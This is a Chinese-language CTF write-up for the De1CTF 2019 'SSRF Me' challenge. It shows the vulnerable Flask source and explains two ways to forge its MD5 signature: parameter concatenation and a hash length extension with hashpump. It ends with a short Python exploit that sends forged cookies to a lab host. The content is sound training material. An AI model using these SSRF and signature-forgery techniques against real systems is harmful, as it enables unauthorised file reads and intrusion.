[De1CTF 2019]SSRF Me

看了好久的wp才做出来的一道题目，感觉自己太菜了。

给出源码（加了几条注释）

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):       #构造方法self代表对象,其他是对象的属性
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))   #提取cookie信息中的，名为action得对应值
    param = urllib.unquote(request.args.get("param", ""))    #提取get方法传入的，参数名叫param对应得值
    sign = urllib.unquote(request.cookies.get("sign"))       #70-72 将url编码解码
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())                           #Python 对象编码成 JSON 字符串
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]            #读取网络文件参数可以是url
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()  #hashlib.md5()#获取一个md5加密算法对象，hexdigest()是获得加密吼的16进制字符串


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

字符串拼接

访问 /geneSign?param=flag.txt 得到

 看到 getSign 处的凭拼接

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()  #hashlib.md5()#获取一个md5加密算法对象，hexdigest()是获得加密吼的16进制字符串

如果 secert_key 为 x，则访问 /geneSign?param=flag.txt 时，返回的md5为 md5('xxx' + 'flag.txt' + 'scan') ，相当于 md5(xxxflag.txtscan)

于是构造 /geneSign?param=flag.txtread 得到 等价于 md5('readflag.txtreadscan')的md5

 bp 抓包后 构造 Cookie 得到

哈希拓展攻击

hashpump安装地址：https://github.com/bwall/HashPump

使用hashpump得到

 构造exp

import requests

url = 'http://81594ff5-0ef9-430d-b05d-a2ed55821ebe.node3.buuoj.cn/De1ta?param=flag.txt'
cookies = {
    'sign':'cf9ddaa36a50820322980590a6eff5ca',
    'action':'scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read'
}

res = requests.get(url=url,cookies=cookies)
print(res.text)

得到

 参考了：https://xz.aliyun.com/t/5927;https://joychou.org/web/hash-length-extension-attack.html

大佬们的文章。